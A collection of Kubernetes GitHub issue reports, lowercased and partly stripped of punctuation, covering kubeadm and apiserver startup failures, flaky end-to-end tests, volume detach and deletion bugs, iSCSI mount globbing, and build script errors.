readonly\ : true}}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ :\ admin\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ group\ :\ system:serviceaccounts\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ nonresourcepath\ : \  \ }}\r    \r \r the  kubeadm  command hangs with the following output...\r    \r  init  using kubernetes version: v1.9.3\r  init  using authorization modes:  node rbac abac \r  preflight  running pre-flight checks.\r          warning fileexisting-crictl : crictl not found in system path\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  k8s-master kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips                  \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r    \r it looks like the  kube-apiserver  container is constantly restarted.\r \r the log output from the  kube-apiserver  container gives\r    \r i0306 12:39:33.179719       1 server.go:121  version: v1.9.3\r invalid authentication config: open /etc/kubernetes/basic_auth.csv: no such file or directory\r    \r \r   what you expected to happen  :\r i expected the  kube-apiserver  to start.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    bash\r mkdir -p /etc/kubernetes\r cp ~/basic_auth.csv /etc/kubernetes\r cp ~/abac_policy.json /etc/kubernetes\r kubeadm init --config ~/config.yaml\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux k8s-master 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

this is a small cleanup, but the package name  k8s.io/kubernetes/pkg/scheduler/schedulercache  is redundant. let's rename it to  k8s.io/kubernetes/pkg/scheduler/cache .\r \r whoever has time for this should take a look at  gomvpkg  https://godoc.org/golang.org/x/tools/cmd/gomvpkg .\r \r   /help

is this a bug report or feature request?  :\r  \r   what happened  :\r some of the sig-cli conformance tests are flaky  since several weeks  on those test suites:\r - kubeadm deployment on gce\r - whatever the network defined  flannel, ipvs, etc ... \r  see  sig-network-gce test grid  http://k8s-testgrid.appspot.com/sig-network-gce kubeadm-gce-ipvs  \r \r these tests are also flaking  but with much lower rate  on version 1.10 and not seems stable on 1.9  see  sig-cluster-lifecycle-all test grid  http://k8s-testgrid.appspot.com/sig-cluster-lifecycle-all kubeadm-gce-1.10  \r \r the flay tests are:\r -  sig-cli  kubectl client  k8s.io  update demo should scale a replication controller  conformance  30s\r -  sig-cli  kubectl client  k8s.io  kubectl run rc should create an rc from an image  conformance \r -  sig-cli  kubectl client  k8s.io  kubectl rolling-update should support rolling-update to same image  conformance \r -  sig-cli  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance  18s\r \r the error reported, is always this one:\r \r  scaling the resource failed with: could not convert scale update to external scale: scheme.scale is not suitable for converting to \\\ v1\\\ \r  \r \r   what you expected to happen  :\r these tests should either be fixed, either flagged as \ flaky\   and unflagged as \ conformance\   \r \r   how to reproduce it  as minimally and precisely as possible   :\r look into corresponding test grid results.\r \r   environment:\r i am looking at the grid tests, as of today : mon may 29th 2018. \r \r

\r $ hack/update-bazel.sh\r ../../internal/repos/remote.go:29:2: cannot find package \ golang.org/x/tools/go/vcs\  in any of:\r \t/var/folders/gg/zn9yfdld21j7xg5jnj5zz5d80000gn/t/tmp.dtmzxlux/go/src/github.com/bazelbuild/bazel-gazelle/vendor/golang.org/x/tools/go/vcs  vendor tree \r \t/users/sts/.bin/go-1.9/src/golang.org/x/tools/go/vcs  from $goroot \r \t/var/folders/gg/zn9yfdld21j7xg5jnj5zz5d80000gn/t/tmp.dtmzxlux/go/src/golang.org/x/tools/go/vcs  from $gopath \r !!!  0611 14:34:36  call tree:\r !!!  0611 14:34:36   1: hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r !!! error in /users/sts/quellen/kubernetes/src/k8s.io/kubernetes/hack/lib/util.sh:483\r   error in /users/sts/quellen/kubernetes/src/k8s.io/kubernetes/hack/lib/util.sh:483. '  i<3-1  ' exited with status 1\r call stack:\r   1: /users/sts/quellen/kubernetes/src/k8s.io/kubernetes/hack/lib/util.sh:483 kube::util::go_install_from_commit ... \r   2: hack/update-bazel.sh:34 main ... \r exiting with status 1\r !!!  0611 14:34:36  call tree:\r !!!  0611 14:34:36   1: hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r !!! error in /users/sts/quellen/kubernetes/src/k8s.io/kubernetes/hack/lib/util.sh:473\r   error in /users/sts/quellen/kubernetes/src/k8s.io/kubernetes/hack/lib/util.sh:473. '  i<3-1  ' exited with status 1\r call stack:\r   1: /users/sts/quellen/kubernetes/src/k8s.io/kubernetes/hack/lib/util.sh:473 kube::util::go_install_from_commit ... \r   2: hack/update-bazel.sh:34 main ... \r exiting with status 1\r

bug report\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i am using azure kubernetes cluster, i have a service running that is watching for the jobs to get completed and when it gets completed i intend to delete that jobs. the behaviour showed by the service is that on deleting the job using golang api, the call succeeds without any error but the jobs still remain on the server. also i am watching for modified events for jobs, due to which the job show recursive chain of events on the channel since the job didn't got deleted for real \r \r   what you expected to happen  :\r the job on successful completion  i.e. succeeded = 1   should get deleted successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r after creating a new test job and then  deleting it using the golang api when i do\r kubectl get jobs <jobname> -o yaml\r i see deletion time stamp, which means that the job was intended to get deleted however it still shows up\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r azure kubernetes cluster\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

what would you like to be added  :\r i want to add cpu threshold for eviction.\r \r   why is this needed  :\r i don't know why there is no cpu threshold in eviction threshold, i think we should add cpu threshold for eviction.

benchmarking-related - scheduler performance testing proposal  18091 - add a couple of benchmarks for the scheduler  17415 - design a mechanism to record a real workload and replay it deterministically  3138  performance/scalability improvement ideas - relaxed randomization  18414 - equivalence classes and caching  17390 - parallelizing predicate and  across machines  17389   if i forgot any, please add them. if you do a pr related to scheduler performance/scalability improvements, it's not necessary to add it to the list if it's not already on the list, but please try to remember to mention this issue number so it shows up in the issue log .

we need an e2e test that sets up a cluster using \ standard\  means and ensures that some users can do an action and other users cannot.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ error: cannot delete the volume\ , \ it's still attached to a node\ \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r \r   what happened  :\r lots of deleted pvcs leave pvs hanging around. it looks like it's not trying to detach the volumes before deleting them\r e.g.\r    \r e0519 13:40:14.589809       1 goroutinemap.go:164  operation for \ delete-pvc-e19f089c-3b6f-11e7-a656-fa163e847909 fd40b1a6-3b6f-11e7-a656-fa163e847909 \  failed. no retries permitted until 2017-05-19 13:40:14.908013172 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 2f18ff0a-012c-40bb-89ef-cd1055a80586\ , it's still attached to a node\r e0519 13:40:14.589842       1 goroutinemap.go:164  operation for \ delete-pvc-d8df8ee9-3aa2-11e7-9237-fa163e5eb5d6 d8f2821b-3aa2-11e7-b5d2-fa163e71048c \  failed. no retries permitted until 2017-05-19 13:40:15.089832996 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 0167ef90-ef57-4c98-84fe-983680d7c6c6\ , it's still attached to a node\r e0519 13:40:14.589857       1 goroutinemap.go:164  operation for \ delete-pvc-cf5420b4-3ae7-11e7-a656-fa163e847909 cf82e371-3ae7-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.089850104 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 3f1cd901-8ee4-4658-8460-a4fcbef6e155\ , it's still attached to a node\r e0519 13:40:14.589870       1 goroutinemap.go:164  operation for \ delete-pvc-66679fdd-3ae0-11e7-9237-fa163e5eb5d6 6677d8e3-3ae0-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.089863571 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ f34685e9-8206-4bc5-99c9-a331d4886135\ , it's still attached to a node\r e0519 13:40:14.589885       1 goroutinemap.go:164  operation for \ delete-pvc-759b6002-3b0d-11e7-83d5-fa163e71048c 75d58f12-3b0d-11e7-a656-fa163e847909 \  failed. no retries permitted until 2017-05-19 13:40:15.08987688 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 660a2847-5d7e-4fff-9658-48c0f3d2feba\ , it's still attached to a node\r e0519 13:40:14.589902       1 goroutinemap.go:164  operation for \ delete-pvc-e18fb3c2-3b1c-11e7-83d5-fa163e71048c e1bfc5d1-3b1c-11e7-83d5-fa163e71048c \  failed. no retries permitted until 2017-05-19 13:40:15.089895394 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 81330da6-9d44-44d5-8ee8-710bf162b3f4\ , it's still attached to a node\r e0519 13:40:14.589914       1 goroutinemap.go:164  operation for \ delete-pvc-687bf3c8-3ab2-11e7-a656-fa163e847909 689d3e96-3ab2-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.089907266 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ c2c16192-3c62-4344-82f9-929e156041a5\ , it's still attached to a node\r e0519 13:40:14.589926       1 goroutinemap.go:164  operation for \ delete-pvc-8702e587-3b69-11e7-a656-fa163e847909 8737d5fb-3b69-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.089919617 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 3be8603b-81ac-4dad-8918-3f02d79b0879\ , it's still attached to a node\r e0519 13:40:14.589937       1 goroutinemap.go:164  operation for \ delete-pvc-e5b635cb-3afb-11e7-9237-fa163e5eb5d6 e600401f-3afb-11e7-b5d2-fa163e71048c \  failed. no retries permitted until 2017-05-19 13:40:15.089931015 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ e957206f-0c0a-42f7-a435-25e627f3265f\ , it's still attached to a node\r e0519 13:40:14.589959       1 goroutinemap.go:164  operation for \ delete-pvc-33e73573-3712-11e7-88e3-fa163edfb524 34086414-3712-11e7-8b70-fa163e4d8068 \  failed. no retries permitted until 2017-05-19 13:40:15.08994334 +0000 utc  durationbeforeretry 500ms . error: unable to find disk: ebb008fa-91d8-4873-9837-fd4c069e3d55 in region openstack\r e0519 13:40:14.589974       1 goroutinemap.go:164  operation for \ delete-pvc-ecf2632d-3b42-11e7-a656-fa163e847909 ed072d22-3b42-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.089964962 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 8b36e507-56ff-4fde-af3b-ed82080b7abe\ , it's still attached to a node\r e0519 13:40:14.589986       1 goroutinemap.go:164  operation for \ delete-pvc-ce6b8920-3b23-11e7-95ea-fa163e71048c ce91aa8c-3b23-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.08998052 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ d5bf4085-f5db-4c8a-aeba-85940019f546\ , it's still attached to a node\r e0519 13:40:14.590003       1 goroutinemap.go:164  operation for \ delete-pvc-f33c16bf-3b1e-11e7-a656-fa163e847909 f3ef3d88-3b1e-11e7-83d5-fa163e71048c \  failed. no retries permitted until 2017-05-19 13:40:15.089995805 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ ddc6d260-e790-46c1-a30d-7e7a2eac274d\ , it's still attached to a node\r e0519 13:40:14.590013       1 goroutinemap.go:164  operation for \ delete-pvc-b29d84ee-3ada-11e7-b5d2-fa163e71048c b2b22455-3ada-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.090007009 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ 2bd60ed8-05e0-4c7e-aaaa-6b30636c105f\ , it's still attached to a node\r e0519 13:40:14.590024       1 goroutinemap.go:164  operation for \ delete-pvc-c149e369-3a70-11e7-b4b9-fa163e847909 c15ec70f-3a70-11e7-9237-fa163e5eb5d6 \  failed. no retries permitted until 2017-05-19 13:40:15.090018218 +0000 utc  durationbeforeretry 500ms . error: cannot delete the volume \ e307086e-b089-4fd5-8401-4f0d1f642713\ , it's still attached to a node\r e0519 13:40:14.590100       1 goroutinemap.go:164  operation for \ delete-pvc-73ab9fd3-3bb7-11e7-95ea-fa163e71048c 73ee4a25-3bb7-11e7-95ea-fa163e71048c \  failed. no retries permitted until 2017-05-19 13:40:15.590092365 +0000 utc  durationbeforeretry 1s . error: cannot delete the volume \ 09d42175-5d14-45a8-aa83-a638ab71ce97\ , it's still attached to a node\r \r \r \r pvc-d35d4f0c-3aa4-11e7-b5d2-fa163e71048c   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  2d\r pvc-d63435de-3b19-11e7-83d5-fa163e71048c   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-d8df8ee9-3aa2-11e7-9237-fa163e5eb5d6   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  2d\r pvc-dd634de3-3b11-11e7-a656-fa163e847909   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-de3d626b-3b48-11e7-a656-fa163e847909   1gi        rwo           delete          released   kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-dfb85b3a-3b0c-11e7-a656-fa163e847909   1gi        rwo           delete          released   kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-dff5d383-3b22-11e7-95ea-fa163e71048c   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-e18fb3c2-3b1c-11e7-83d5-fa163e71048c   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-e19f089c-3b6f-11e7-a656-fa163e847909   1gi        rwo           delete          released   kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-e4a7eec2-3a5c-11e7-b4b9-fa163e847909   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  2d\r pvc-e56e88dd-3a4a-11e7-9237-fa163e5eb5d6   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  2d\r pvc-e5b635cb-3afb-11e7-9237-fa163e5eb5d6   1gi        rwo           delete          released   kubee2etests-deployment-pvc/test-claim                     d1.fast                  2d\r pvc-e981794f-3a6f-11e7-b4b9-fa163e847909   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  2d\r pvc-e9b6de70-3b15-11e7-a656-fa163e847909   1gi        rwo           delete          released   kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-ecf2632d-3b42-11e7-a656-fa163e847909   1gi        rwo           delete          released   kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-ee7641be-3b57-11e7-a656-fa163e847909   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-f0adc028-3a5e-11e7-b4b9-fa163e847909   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  2d\r pvc-f2b34a0b-3b06-11e7-a656-fa163e847909   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r pvc-f33c16bf-3b1e-11e7-a656-fa163e847909   1gi        rwo           delete          failed     kubee2etests-deployment-pvc/test-claim                     d1.fast                  1d\r \r    \r \r \r   what you expected to happen  :\r pvs to be deleted\r \r   how to reproduce it    as minimally and precisely as possible :\r create lots of pvcs with deployments so they get attached to nodes, delete the pvcs\r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t20:41:24z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian jessie \r -   kernel    e.g.  uname -a  : linux ip-172-31-xx-xx 3.16.0-4-amd64  1 smp debian 3.16.39-1+deb8u2  2017-03-07  x86_64 gnu/linux\r \r   what happened  :\r \r updated cluster to v1.6.4 and from that point on docker containers started from kubelet manifests show the docker image hash instead of the image tag. the behaviour for the pause container is different as it shows the tag. the image is pulled and starting a pod directly from  kubectl run  returns the expected results.\r \r output from  docker ps  and  docker images :\r \r    \r b879fb62b88a        cf76aee34714                                                                                                   \ /opt/bin/flanneld\       17 hours ago        up 17 hours                                k8s_flannel_flannel-ip-172-31-xx-xx.eu-central-1.compute.internal_kube-system_305f0ca5d918c9f58eb991c8b6fe10c6_0\r 2a901e431015        gcr.io/google_containers/pause-amd64:3.0                                                                       \ /pause\                  17 hours ago        up 17 hours                                k8s_pod_flannel-ip-172-31-xx-xx.eu-central-1.compute.internal_kube-system_305f0ca5d918c9f58eb991c8b6fe10c6_0\r \r quay.io/coreos/flannel                 v0.7.1              cf76aee34714        5 weeks ago         77.76 mb\r    \r \r snipped from the flannel manifest:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: flannel\r   namespace: kube-system\r   labels:\r     component: flannel\r     role: server\r spec:\r   hostnetwork: true\r   containers:\r   - name: flannel\r     image: quay.io/coreos/flannel:v0.7.1\r    \r \r   what you expected to happen  :\r \r see the tag from the manifest in the output of docker ps.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r kill the pod, restart docker, restart kubelet - result is the same. flannel is just one example.\r \r   anything else we need to know  :\r \r it's important to get the correct image tag if you use tools like sysdig falco that base some of the rules on the image that is running commands.\r

flaky job: pr:pull-kubernetes-e2e-gce-etcd3  flakes in the past week:   125    consistency:   91.10%         flakiest tests by flake count: | test | flake count | | --- | --- | | teardown | 52 | | up | 36 | |  k8s.io  deployment deployment should support rollover | 29 |       previously closed issues for this job flaking:  46741    <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | kargakis |  k8s.io  deployment deployment should support rollover | | sig/apps |  k8s.io  deployment deployment should support rollover |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-beta.1\ , gitcommit:\ dfaba882698e26a47fb769be45fe5c048a9fe4ad\ , gittreestate:\ not a git tree\ , builddate:\ 2017-06-08t13:08:32z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal, hp se316m, 2x x5675, 144gb, iscsi/rdma/iser\r -   os  : centos 7\r -   kernel  : linux at-host-18 4.9.31  1 smp wed jun 7 22:40:40 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : \r -   others  :\r \r \r   what happened  :\r i want to mount a iscsi volume via iser  rdma over infiniband  in this case the iscsi iface is \ iser\  and not tcp, therefore the glob path for device mount is selected  iscsi_util.go:215 , which then is passed to the fsck and mount commands without globbing the path  e.g. calling filepath.glob \r \r therefore the iscsi volume is not mounted and the pod cannot be started.\r \r   logs  :\r    \r jun  9 16:59:35 at-host-18 kernel: sd 5:0:0:0: alua: supports implicit and explicit tpgs\r jun  9 16:59:35 at-host-18 kernel: sd 5:0:0:0: alua: device naa.600140581cc879dd8a646fb9d818e1cf port group 0 rel port 1\r jun  9 16:59:35 at-host-18 kernel: sd 5:0:0:0: alua: port group 00 state a non-preferred supports tolusna\r jun  9 16:59:35 at-host-18 kernel: sd 5:0:0:0: alua: supports implicit and explicit tpgs\r jun  9 16:59:35 at-host-18 kernel: sd 5:0:0:0: alua: device naa.600140581cc879dd8a646fb9d818e1cf port group 0 rel port 1\r jun  9 16:59:35 at-host-18 kernel: sd 5:0:0:0: alua: port group 00 state a non-preferred supports tolusna\r jun  9 16:59:35 at-host-18 kubelet: i0609 16:59:35.354226   18204 mount_linux.go:347   fsck  error fsck from util-linux 2.23.2\r jun  9 16:59:35 at-host-18 kubelet: fsck.ext2: no such file or directory while trying to open /dev/disk/by-path/pci- -ip-10.0.13.3:3260-iscsi-iqn.2017-01.at.cf-it.at-storage-01-lun-0\r jun  9 16:59:35 at-host-18 kubelet: possibly non-existent device?\r jun  9 16:59:35 at-host-18 kubelet: e0609 16:59:35.358239   18204 mount_linux.go:122  mount failed: exit status 32\r jun  9 16:59:35 at-host-18 kubelet: mounting command: mount\r jun  9 16:59:35 at-host-18 kubelet: mounting arguments: /dev/disk/by-path/pci- -ip-10.0.13.3:3260-iscsi-iqn.2017-01.at.cf-it.at-storage-01-lun-0 /var/lib/kubelet/plugins/kubernetes.io/iscsi/iface-iser/10.0.13.3:3260-iqn.2017-01.at.cf-it.at-storage-01-lun-0 ext4  defaults \r jun  9 16:59:35 at-host-18 kubelet: output: mount: special device /dev/disk/by-path/pci- -ip-10.0.13.3:3260-iscsi-iqn.2017-01.at.cf-it.at-storage-01-lun-0 does not exist\r jun  9 16:59:35 at-host-18 kubelet: e0609 16:59:35.362929   18204 mount_linux.go:406  could not determine if disk \ /dev/disk/by-path/pci- -ip-10.0.13.3:3260-iscsi-iqn.2017-01.at.cf-it.at-storage-01-lun-0\  is formatted  exit status 1 \r jun  9 16:59:35 at-host-18 kubelet: e0609 16:59:35.362987   18204 iscsi_util.go:301  iscsi: failed to mount iscsi volume /dev/disk/by-path/pci- -ip-10.0.13.3:3260-iscsi-iqn.2017-01.at.cf-it.at-storage-01-lun-0  ext4  to /var/lib/kubelet/plugins/kubernetes.io/iscsi/iface-iser/10.0.13.3:3260-iqn.2017-01.at.cf-it.at-storage-01-lun-0, error exit status 1\r jun  9 16:59:35 at-host-18 kubelet: e0609 16:59:35.363008   18204 disk_manager.go:51  failed to attach disk\r jun  9 16:59:35 at-host-18 kubelet: e0609 16:59:35.363022   18204 iscsi.go:247  iscsi: failed to setup\r    \r \r   what you expected to happen  :\r to successfully mount the volume.\r \r   how to reproduce it    as minimally and precisely as possible :\r setup an iscsi via rdma  iser  environment without multipath and try to mount a volume for a pod.\r \r   anything else we need to know  :\r i believe it's just needed to add the globbing at line 259 like so:\r \r devicepaths = append devicepaths, filepath.glob devicepath  \r \r \r as i'm not a go programmer and have no experience with it, probably somebody could create a commit which i would gladly test!\r \r \r

see  aggregation dashboard  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=1-5-. -1-7. upgrade-cluster-new&test=daemon%20set \r \r  \r   daemon set  serial  should adopt or recreate existing pods when creating a rollingupdate\r   daemonset with matching or mismatching templategeneration k8s.io \r   daemon set  serial  should not update pod when spec was updated and update strategy is ondelete k8s.io \r   daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate k8s.io \r   daemon set  serial  should retry creating failed daemon pods k8s.io \r   daemon set  serial  should run and stop complex daemon k8s.io \r   daemon set  serial  should run and stop complex daemon with node affinity k8s.io \r   daemon set  serial  should run and stop simple daemon

the latest builds failed.\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-1-6-on-1-7/34?log log\r \r    \r google_compute_address.e2e-34-master-ip: error creating address: googleapi: error 403: quota 'static_addresses' exceeded. limit: 2.0, quotaexceeded\r    \r \r @gmarek @mikedanese could you help take a look if its a test-infra problem or a real problem?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r i encountered below error in the test failures of  49483 \r  see: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49483/pull-kubernetes-verify/41283/ \r    \r i0724 22:04:16.023  verifying hack/make-rules/../../hack/verify-boilerplate.sh\r i0724 22:04:17.171  boilerplate header is wrong for: /go/src/k8s.io/kubernetes/test/e2e/network/framework.go\r i0724 22:04:17.172  failed   hack/make-rules/../../hack/verify-boilerplate.sh\t1s\r    \r it didn't tell me what's wrong and how to fix it. there is also no such a script as  hack/update-boilerplate.sh  to help me.\r \r finally i found that the file header missed the empty lines. after adding them, the verification passed.\r    \r $ git diff\r diff --git a/test/e2e/network/framework.go b/test/e2e/network/framework.go\r index 4abd746..bbabb66 100644\r --- a/test/e2e/network/framework.go\r +++ b/test/e2e/network/framework.go\r @@ -1,9 +1,12 @@\r  / \r  copyright 2017 the kubernetes authors.\r +\r  licensed under the apache license, version 2.0  the \ license\  ;\r  you may not use this file except in compliance with the license.\r  you may obtain a copy of the license at\r +\r      http://www.apache.org/licenses/license-2.0\r +\r  unless required by applicable law or agreed to in writing, software\r  distributed under the license is distributed on an \ as is\  basis,\r  without warranties or conditions of any kind, either express or implied.\r    \r \r   what you expected to happen  :\r the verifying script tells me the error details and there is an updating script to fix the error automatically.\r \r   how to reproduce it  as minimally and precisely as possible   :\r find a file, delete the empty lines in its header and run  hack/verify-boilerplate.sh \r \r   anything else we need to know?  :\r cc @spxtr @lavalamp \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

